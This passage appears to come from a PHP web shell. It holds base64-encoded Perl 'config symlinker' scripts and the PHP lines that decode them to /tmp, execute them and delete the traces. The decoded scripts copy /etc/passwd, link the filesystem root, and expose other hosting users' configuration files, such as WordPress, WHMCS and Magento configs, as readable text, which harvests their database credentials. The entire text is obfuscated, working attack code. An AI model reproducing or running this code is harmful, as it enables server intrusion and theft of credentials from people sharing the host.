vcHVibGljX2h0bWwvc2VjdXJlL3dobS9zdWJtaXR0aWNrZXQucGhwIiwiaWR4X3N5bS8iLiQxLiItV0hNQ1MudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9zZWN1cmUvd2htY3Mvc3VibWl0dGlja2V0LnBocCIsImlkeF9zeW0vIi4kMS4iLVdITUNTLnR4dCIpOw0KCQlzeW1saW5rKCIvaG9tZS8iLiQxLiIvcHVibGljX2h0bWwvcGFuZWwvc3VibWl0dGlja2V0LnBocCIsImlkeF9zeW0vIi4kMS4iLVdITUNTLnR4dCIpOw0KCQlzeW1saW5rKCIvaG9tZS8iLiQxLiIvcHVibGljX2h0bWwvY2xpZW50ZXMvc3VibWl0dGlja2V0LnBocCIsImlkeF9zeW0vIi4kMS4iLVdITUNTLnR4dCIpOw0KCQlzeW1saW5rKCIvaG9tZS8iLiQxLiIvcHVibGljX2h0bWwvY2xpZW50ZS9zdWJtaXR0aWNrZXQucGhwIiwiaWR4X3N5bS8iLiQxLiItV0hNQ1MudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9zdXBwb3J0L29yZGVyL3N1Ym1pdHRpY2tldC5waHAiLCJpZHhfc3ltLyIuJDEuIi1XSE1DUy50eHQiKTsNCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iL3B1YmxpY19odG1sL2JiLWNvbmZpZy5waHAiLCJpZHhfc3ltLyIuJDEuIi1Cb3hCaWxsaW5nLnR4dCIpOw0KCQlzeW1saW5rKCIvaG9tZS8iLiQxLiIvcHVibGljX2h0bWwvYm94YmlsbGluZy9iYi1jb25maWcucGhwIiwiaWR4X3N5bS8iLiQxLiItQm94QmlsbGluZy50eHQiKTsNCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iL3B1YmxpY19odG1sL2JveC9iYi1jb25maWcucGhwIiwiaWR4X3N5bS8iLiQxLiItQm94QmlsbGluZy50eHQiKTsNCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iL3B1YmxpY19odG1sL2hvc3QvYmItY29uZmlnLnBocCIsImlkeF9zeW0vIi4kMS4iLUJveEJpbGxpbmcudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9Ib3N0L2JiLWNvbmZpZy5waHAiLCJpZHhfc3ltLyIuJDEuIi1Cb3hCaWxsaW5nLnR4dCIpOw0KCQlzeW1saW5rKCIvaG9tZS8iLiQxLiIvcHVibGljX2h0bWwvc3VwcG9ydGVzL2JiLWNvbmZpZy5waHAiLCJpZHhfc3ltLyIuJDEuIi1Cb3hCaWxsaW5nLnR4dCIpOw0KCQlzeW1saW5rKCIvaG9tZS8iLiQxLiIvcHVibGljX2h0bWwvc3VwcG9ydC9iYi1jb25maWcucGhwIiwiaWR4X3N5bS8iLiQxLiItQm94QmlsbGluZy50eHQiKTsNCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iL3B1YmxpY19odG1sL2hvc3RpbmcvYmItY29uZmlnLnBocCIsImlkeF9zeW0vIi4kMS4iLUJveEJpbGxpbmcudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9jYXJ0L2JiLWNvbmZpZy5waHAiLCJpZHhfc3ltLyIuJDEuIi1Cb3hCaWxsaW5nLnR4dCIpOw0KCQlzeW1saW5rKCIvaG9tZS8iLiQxLiIvcHVibGljX2h0bWwvb3JkZXIvYmItY29uZmlnLnBocCIsImlkeF9zeW0vIi4kMS4iLUJveEJpbGxpbmcudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9jbGllbnQvYmItY29uZmlnLnBocCIsImlkeF9zeW0vIi4kMS4iLUJveEJpbGxpbmcudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9jbGllbnRzL2JiLWNvbmZpZy5waHAiLCJpZHhfc3ltLyIuJDEuIi1Cb3hCaWxsaW5nLnR4dCIpOw0KCQlzeW1saW5rKCIvaG9tZS8iLiQxLiIvcHVibGljX2h0bWwvY2xpZW50ZS9iYi1jb25maWcucGhwIiwiaWR4X3N5bS8iLiQxLiItQm94QmlsbGluZy50eHQiKTsNCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iL3B1YmxpY19odG1sL2NsaWVudGVzL2JiLWNvbmZpZy5waHAiLCJpZHhfc3ltLyIuJDEuIi1Cb3hCaWxsaW5nLnR4dCIpOw0KCQlzeW1saW5rKCIvaG9tZS8iLiQxLiIvcHVibGljX2h0bWwvYmlsbGluZy9iYi1jb25maWcucGhwIiwiaWR4X3N5bS8iLiQxLiItQm94QmlsbGluZy50eHQiKTsNCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iL3B1YmxpY19odG1sL2JpbGxpbmdzL2JiLWNvbmZpZy5waHAiLCJpZHhfc3ltLyIuJDEuIi1Cb3hCaWxsaW5nLnR4dCIpOw0KCQlzeW1saW5rKCIvaG9tZS8iLiQxLiIvcHVibGljX2h0bWwvbXkvYmItY29uZmlnLnBocCIsImlkeF9zeW0vIi4kMS4iLUJveEJpbGxpbmcudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9zZWN1cmUvYmItY29uZmlnLnBocCIsImlkeF9zeW0vIi4kMS4iLUJveEJpbGxpbmcudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9zdXBwb3J0L29yZGVyL2JiLWNvbmZpZy5waHAiLCJpZHhfc3ltLyIuJDEuIi1Cb3hCaWxsaW5nLnR4dCIpOw0KCQlzeW1saW5rKCIvaG9tZS8iLiQxLiIvcHVibGljX2h0bWwvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiwiaWR4X3N5bS8iLiQxLiItWmVuY2FydC50eHQiKTsNCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiwiaWR4X3N5bS8iLiQxLiItWmVuY2FydC50eHQiKTsNCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iL3B1YmxpY19odG1sL3Byb2R1Y3RzL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIsImlkeF9zeW0vIi4kMS4iLVplbmNhcnQudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9jYXJ0L2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIsImlkeF9zeW0vIi4kMS4iLVplbmNhcnQudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIsImlkeF9zeW0vIi4kMS4iLVplbmNhcnQudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9pbmNsdWRlcy9pc280MjE3LnBocCIsImlkeF9zeW0vIi4kMS4iLUhvc3RiaWxscy50eHQiKTsNCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iL3B1YmxpY19odG1sL2hvc3RiaWxscy9pbmNsdWRlcy9pc280MjE3LnBocCIsImlkeF9zeW0vIi4kMS4iLUhvc3RiaWxscy50eHQiKTsNCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iL3B1YmxpY19odG1sL2hvc3QvaW5jbHVkZXMvaXNvNDIxNy5waHAiLCJpZHhfc3ltLyIuJDEuIi1Ib3N0YmlsbHMudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9Ib3N0L2luY2x1ZGVzL2lzbzQyMTcucGhwIiwiaWR4X3N5bS8iLiQxLiItSG9zdGJpbGxzLnR4dCIpOw0KCQlzeW1saW5rKCIvaG9tZS8iLiQxLiIvcHVibGljX2h0bWwvc3VwcG9ydGVzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiwiaWR4X3N5bS8iLiQxLiItSG9zdGJpbGxzLnR4dCIpOw0KCQlzeW1saW5rKCIvaG9tZS8iLiQxLiIvcHVibGljX2h0bWwvc3VwcG9ydC9pbmNsdWRlcy9pc280MjE3LnBocCIsImlkeF9zeW0vIi4kMS4iLUhvc3RiaWxscy50eHQiKTsNCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iL3B1YmxpY19odG1sL2hvc3RpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAiLCJpZHhfc3ltLyIuJDEuIi1Ib3N0YmlsbHMudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9jYXJ0L2luY2x1ZGVzL2lzbzQyMTcucGhwIiwiaWR4X3N5bS8iLiQxLiItSG9zdGJpbGxzLnR4dCIpOw0KCQlzeW1saW5rKCIvaG9tZS8iLiQxLiIvcHVibGljX2h0bWwvb3JkZXIvaW5jbHVkZXMvaXNvNDIxNy5waHAiLCJpZHhfc3ltLyIuJDEuIi1Ib3N0YmlsbHMudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9jbGllbnQvaW5jbHVkZXMvaXNvNDIxNy5waHAiLCJpZHhfc3ltLyIuJDEuIi1Ib3N0YmlsbHMudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9jbGllbnRzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiwiaWR4X3N5bS8iLiQxLiItSG9zdGJpbGxzLnR4dCIpOw0KCQlzeW1saW5rKCIvaG9tZS8iLiQxLiIvcHVibGljX2h0bWwvY2xpZW50ZS9pbmNsdWRlcy9pc280MjE3LnBocCIsImlkeF9zeW0vIi4kMS4iLUhvc3RiaWxscy50eHQiKTsNCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iL3B1YmxpY19odG1sL2NsaWVudGVzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiwiaWR4X3N5bS8iLiQxLiItSG9zdGJpbGxzLnR4dCIpOw0KCQlzeW1saW5rKCIvaG9tZS8iLiQxLiIvcHVibGljX2h0bWwvYmlsbGluZy9pbmNsdWRlcy9pc280MjE3LnBocCIsImlkeF9zeW0vIi4kMS4iLUhvc3RiaWxscy50eHQiKTsNCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iL3B1YmxpY19odG1sL2JpbGxpbmdzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiwiaWR4X3N5bS8iLiQxLiItSG9zdGJpbGxzLnR4dCIpOw0KCQlzeW1saW5rKCIvaG9tZS8iLiQxLiIvcHVibGljX2h0bWwvbXkvaW5jbHVkZXMvaXNvNDIxNy5waHAiLCJpZHhfc3ltLyIuJDEuIi1Ib3N0YmlsbHMudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9zZWN1cmUvaW5jbHVkZXMvaXNvNDIxNy5waHAiLCJpZHhfc3ltLyIuJDEuIi1Ib3N0YmlsbHMudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9zdXBwb3J0L29yZGVyL2luY2x1ZGVzL2lzbzQyMTcucGhwIiwiaWR4X3N5bS8iLiQxLiItSG9zdGJpbGxzLnR4dCIpOw0KCQlzeW1saW5rKCIvIiwiaWR4X3N5bS9yb290Iik7DQoJCXByaW50ICQxLiItIjsNCgl9DQp9DQoNCm9wZW4oT1VULCI+aWR4X3N5bS8uaHRhY2Nlc3MiKTsNCnByaW50IE9VVCAiT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBpbmRveHBsb2l0Lmh0bQ0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHANCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwDQpTYXRpc2Z5IEFueSI7DQpjbG9zZShPVVQpOw0KcHJpbnQgJzxjZW50ZXI+PGgxPjxhIGhyZWY9ImlkeF9zeW0iIHRhcmdldD0iX0JMQU5LIj5DbGljayBIZXJlPC9hPjwvaDE+JzsNCnVubGluaygkMCk7";
760 save("/tmp/symlink.pl", "w", base64_decode($sym['code']));
761 exe("perl /tmp/symlink.pl");
762 sleep(1);
763 @unlink("/tmp/symlink.pl");
764 @unlink("passwd.txt");
765 @unlink("idx_sym/pas.txt");
766 }
767
768 print "<div style='background: #ffffff; width: 100%; height: 100%'>";
769 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_sym/' frameborder='0' scrolling='yes'></iframe>";
770 print "</div>";
771 }
772 else {
773 if($args[0] === "404") {
774 if(!is_dir(path()."/idx_sym404/")) {
775 $sym['code'] = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQojICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjIA0KIw0KIwkJTmFtZSA6IFBlcmwvQ0dJIENvbmZpZyBTeW1saW5rZXIgKFdpdGggQXV0byBCeXBhc3MgU3ltbGluayA0MDQpDQojCQlWZXJzaW9uIDogMS4yDQojCQlDcmVhdGVkIDogOSBNZWkgMjAxNw0KIwkJQXV0aG9yIDogMHgxOTk5DQojCQlUaGFua3MgVG8gOiAweElEaW90ICwgSW5kb25lc2lhbiBDb2RlIFBhcnR5ICwgSmF0aW00dQ0KIwkJTW9yZSBJbmZvIDogaHR0cDovLzB4RGFyay5ibG9nc3BvdC5jb20NCiMJCVdhbnQgdG8gcmVjb2RlID8gRG9uJ3QgZm9yZ2V0IG15IG5pY2sgbmFtZSAgOikNCiMJCWh0dHA6Ly9mYWNlYm9vay5jb20vbWVsZXguMWQNCiMJCQ0KIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyANCg0KdXNlIEZpbGU6OkNvcHk7DQp1c2Ugc3RyaWN0Ow0KdXNlIHdhcm5pbmdzOw0KdXNlIE1JTUU6OkJhc2U2NDsNCmNvcHkoIi9ldGMvcGFzc3dkIiwicGFzc3dkLnR4dCIpIDsNCm1rZGlyICJpZHhfc3ltNDA0IjsNCnN5bWxpbmsoIi8iLCJpZHhfc3ltNDA0L3Jvb3QiKTsNCm15ICRmaWxlbmFtZSA9ICdwYXNzd2QudHh0JzsNCm15ICRodGFjY2VzcyA9IGRlY29kZV9iYXNlNjQoIlQzQjBhVzl1Y3lCSmJtUmxlR1Z6SUVadmJHeHZkMU41YlV4cGJtdHpEUXBFYVhKbFkzUnZjbmxKYm1SbGVDQnBibVJ2ZUhCc2IybDBMbWgwYlEwS1FXUmtWSGx3WlNCMFpYaDBMM0JzWVdsdUlDNXdhSEFnRFFwQlpHUklZVzVrYkdWeUlIUmxlSFF2Y0d4aGFXNGdMbkJvY0EwS1UyRjBhWE5tZVNCQmJua05Da2x1WkdWNFQzQjBhVzl1Y3lBclEyaGhjbk5sZEQxVlZFWXRPQ0FyUm1GdVkzbEpibVJsZUdsdVp5QXJTV2R1YjNKbFEyRnpaU0FyUm05c1pHVnljMFpwY25OMElDdFlTRlJOVENBclNGUk5URlJoWW14bElDdFRkWEJ3Y21WemMxSjFiR1Z6SUN0VGRYQndjbVZ6YzBSbGMyTnlhWEIwYVc5dUlDdE9ZVzFsVjJsa2RHZzlLaUFOQ2tGa1pFbGpiMjRnSjJSaGRHRTZhVzFoWjJVdmNHNW5PMkpoYzJVMk5DeHBWa0pQVW5jd1MwZG5iMEZCUVVGT1UxVm9SVlZuUVVGQlFrRkJRVUZCVVVOQldVRkJRVUZtT0M4NWFFRkJRVUZDU0U1RFUxWlJTVU5CWjBsbVFXaHJhVUZCUVVGQmJIZFRSbXg2UVVGQlRqRjNRVUZFWkdOQ1VXbHBZbVZCUVVGQlFtd3dVbFpvTUZVeU9XMWtTR1JvWTIxVlFXUXpaRE5NYld4MVlUTk9hbGxZUW14TWJUbDVXalYyZFZCQ2IwRkJRVVpWVTFWU1FsWkVhVTV3V2tzNVUyZE9Ra1pKV0ZCMldFNXVaR3BqVW05d1dEUlZOR3RYVm5JMVFVTm9WVGRJT0VKVFprbDBRVWhyUWpsRFdITnlWekJIZDBWUmRGSjNWa3ROVW5SQlZUaGFZMWxYWVU1dFRUSlBlSEY1ZVdsWldtUmpSMGxoV2pSYU56ZE5aV1ZSWTNjMlJFWkJMMVZFVlVGQldVaElhamhvVDBGVWFqbHZVbE5sTWxveFpqSkxhbEF4Wm1kTWEyNU5VRk0xYkZjd1ZtazBjRnB2Y0haSVdFUlhLMGxvVDNJNU9XZFlWSHByY2pseGRsUkNUWFJ5VG1RNFFYTk1WbU52YlZwTFJGQTJNV3RGVEdsb1IwbEtPVkZDWjA4eWFtUnpTVVV2U21JMVQyRmpSMFpCZDBSUlJXVk5SVTlhYm1neFJYRk5RMmgwVTBJNFlUWTBRbGN5VFU1b04xRldhV2hEUjB0alRraHpkMjFhTUd4QmExbEllRVkwVVdoQ1VFTkxTVmxTVlRsc05qQTFTMjFIUTBWSlZWbDZkRU5aVFVKbWEwVnFSMW8wVDJsSWQxSlJSaXQyYTFGSEszQjBRVU5KUmxKRlNsWlFVVUYyUm1ZclFuSnFiM2xSSzBOYVpuRnhNVEU0UkZKR1JXaHFaV0ppWW1Wc05tUkhhWGxVY1dZcmRsTnlhMkZTVVM4d2RYUk1OMjFJV0d3NWRuRXJaVkF6Vlc1aWFDOUlOV2RFUzJsUFJqWTNXV1ZpV1RCa1UwcGpVa0p0TUhveWNrWnNNbmxYY0RoQlZrUkpWek15WkdFM2NFeEJRVUZCUVVWc1JsUnJVM1ZSYlVOREp5QmVYa1JKVWtWRFZFOVNXVjVlRFFwRVpXWmhkV3gwU1dOdmJpQW5aR0YwWVRwcGJXRm5aUzl3Ym1jN1ltRnpaVFkwTEdsV1FrOVNkekJMUjJkdlFVRkJRVTVUVldoRlZXZEJRVUZDUVVGQlFVRlJRMEZaUVVGQlFXWTRMemxvUVVGQlFVRllUbE5TTUVsQmNuTTBZelpSUVVGQlFWcHBVekJrUlVGUU9FRXZkMFF2YjB3eWJtdDNRVUZCUVd4M1UwWnNla0ZCUVV4RmQwRkJRM2hOUWtGS2NXTkhRVUZCUVVGa01GTlZNVVpDT1c5S1FtaGpWRXAyTWtJeVpEUkJRVUZLVFZOVlVrSldSR3BNWWxwUE9WUm9lRnBGU1ZjdmNXeDJaSFJOTXpoQ1RtZEtVVzFSWjBwSFpDdEJMMDFSUWt4M1IycHBkMGd6Ym5ka2ExTk1kRTh5ZUVWU1J6Vk1jWGhZVWxOSlVqSlpSR1pFTkVkclIwMHdVRE55WWpSaU9WQkJlakJzTjNCVGJGZHNWekJtYm01TWIyeEJTVkJDTkZCWWFEUmxSblZ1ZFdOQlNVbE1kMlJGVTJWYWVVRnBabTV3Tml0MU9XOU9URzh6WjAwelRucFVaRWhTS3k4dmVuWktUWHBUZVVwTFMyOWthVWxuT0VGWVlYaGxTWG94WWtSYU4wMTRjVTVtZEdkVFZWSkVWM2szVEZWdVdqQmtXVzE0UVVaQlZrVnNTVFpCUlVONVowbHpVVkZ6YVhwTVFrOUJRa0ZFVDJwTFFYQnhhRGQxTjBkdlExVlhhWGRaWW1WMGIxVkljbkpRWTNkRGNXOUdNa3RWWlZoTWVrVjZRbll3SzNWUmJWTklUVVZhT1VZMlUxcGpjalpwTkVselFrOWhMMkkzU0ZGTllVaDBTVUYzWjB4a1NHRnNSRUV4WlhZd1pWRmlVMnB5UlhKUmQwcHdjVVkwWlVGNEwyaHZjVVF4TXpKdFRXdEtjbWsxZFZOUGJFWm9SV2h3VlZGSmFXOXFkMkZ0VDBST2MyeHFabFZYUTNGd1RHNVBZV0ZEVTB0S2RHNWhRa056V2xscVFXeHNiVmhKTkhaaFpXOWhWbGd3WTJKVFpHaHRWVkl6ZWtGTGRrNXFXVFpXYVc5dk1IUlhlbWRGYjI1TFlsY3JTMnRIVjNRelZXNTBNRU5sUjJaS2N6bG5LMVZWTUhKRlIwaElMMGgzTDAxcVNEWXZWQ3RRVDJSR2IxSk9TME5vVFRJeWVHMVBVR1Z6Y0dwUVIxRTJTSEJPVVRJM2REWnpRVU5FVTA1aGJubHZiR3BFVEVWa1ZtRkdUMHhsT0ZwclZXcExOWFZyY1ROME56bHNVRU0zTDA5RWF6VkhZU3RaTms4MVRYRjViVTUzTTFZeGVUTm9lWHBtV0RCb2NYWktUSGxpV0Vaa0t5dG1NbVF6WkRCa2JYTXJjWFpuTkU5RWVqaG1TSGd3TDB4elltVXpPVFkwYzFNM0t6UjFSV3AxYm5CeGJWTmxObVV6UkROT05TOU9NRmRhWW5Sc2VUbG1NRGx1V2pKYUwySXlPWFl5Wmt4RlpYWjJTemx4ZGpkak1uUnZTMms0VldscFVXbHhTR0p0Tm5KcFZ6WmhNVE5tYml0NmRqY3pLMjl4YjNKb1kweG5TMVZHV0ZaUUsyWnVOVElyVEc5dWFqaEpURW93VURoYVNVTkRSamt2VUZSd1EyeG9jRUoyWjFCbGJHOU1PVlUxTlU1SlFVRkJRVUZCVTFWV1QxSkxOVU5aU1VrOUp3MEtTVzVrWlhoSloyNXZjbVVnS2k1MGVIUTBNRFFOQ2tsdVpHVjRVM1I1YkdWVGFHVmxkQ0FuYUhSMGNEb3ZMMlYyWlc1MExtbHVaRzk0Y0d4dmFYUXViM0l1YVdRdmMzbHRiR2x1YXk1amMzTW5EUXBTWlhkeWFYUmxSVzVuYVc1bElFOXVEUXBTWlhkeWFYUmxRMjl1WkNBbGUxSkZVVlZGVTFSZlJrbE1SVTVCVFVWOUlGNHVLakI0YzNsdE5EQTBJRnRPUTEwTkNsSmxkM0pwZEdWU2RXeGxJRnd1ZEhoMEpDQWxlMUpGVVZWRlUxUmZWVkpKZlRRd05DQmJUQ3hTUFRNd01pNU9RMTA9Iik7DQpteSAkc3ltID0gZGVjb2RlX2Jhc2U2NCgiVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCcGJtUnZlSEJzYjJsMExtaDBiUTBLU0dWaFpHVnlUbUZ0WlNBd2VERTVPVGt1ZEhoMERRcFRZWFJwYzJaNUlFRnVlUTBLU1c1a1pYaFBjSFJwYjI1eklFbG5ibTl5WlVOaGMyVWdSbUZ1WTNsSmJtUmxlR2x1WnlCR2IyeGtaWEp6Um1seWMzUWdUbUZ0WlZkcFpIUm9QU29nUkdWelkzSnBjSFJwYjI1WGFXUjBhRDBxSUZOMWNIQnlaWE56U0ZSTlRGQnlaV0Z0WW14bERRcEpibVJsZUVsbmJtOXlaU0FxRFFwSmJtUmxlRk4wZVd4bFUyaGxaWFFnSjJoMGRIQTZMeTlsZG1WdWRDNXBibVJ2ZUhCc2IybDBMbTl5TG1sa0wzTjViV3hwYm1zdVkzTnpKdz09Iik7DQpvcGVuKG15ICRmaDEsICc+JywgJ2lkeF9zeW00MDQvLmh0YWNjZXNzJyk7DQpwcmludCAkZmgxICIkaHRhY2Nlc3MiOw0KY2xvc2UgJGZoMTsNCm9wZW4obXkgJHh4LCAnPicsICdpZHhfc3ltNDA0L25lbXUudHh0Jyk7DQpwcmludCAkeHggIiRzeW0iOw0KY2xvc2UgJHh4Ow0Kb3BlbihteSAkZmgsICc8OmVuY29kaW5nKFVURi04KScsICRmaWxlbmFtZSk7DQp3aGlsZSAobXkgJHJvdyA9IDwkZmg+KSB7DQpteSBAbWF0Y2hlcyA9ICRyb3cgPX4gLyguKj8pOng6L2c7DQpteSAkdXNlcm55YSA9ICQxOw0KbXkgQGFycmF5ID0gKA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy8uYWNjZXNzaGFzaCcsIHR5cGUgPT4gJ1dITS1hY2Nlc3NoYXNoJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jb25maWcva29uZWtzaS5waHAnLCB0eXBlID0+ICdMb2tvbWVkaWEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NvbmZpZy9zZXR0aW5ncy5pbmMucGhwJywgdHlwZSA9PiAnUHJlc3RhU2hvcCcgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYXBwL2V0Yy9sb2NhbC54bWwnLCB0eXBlID0+ICdNYWdlbnRvJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywgdHlwZSA9PiAnT3BlbkNhcnQnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAnLCB0eXBlID0+ICdFbGxpc2xhYicgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3AvdGVzdC93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcG9ydGFsL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV1Avd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9kZW1vL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2hvbWUvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjEvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjIvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4k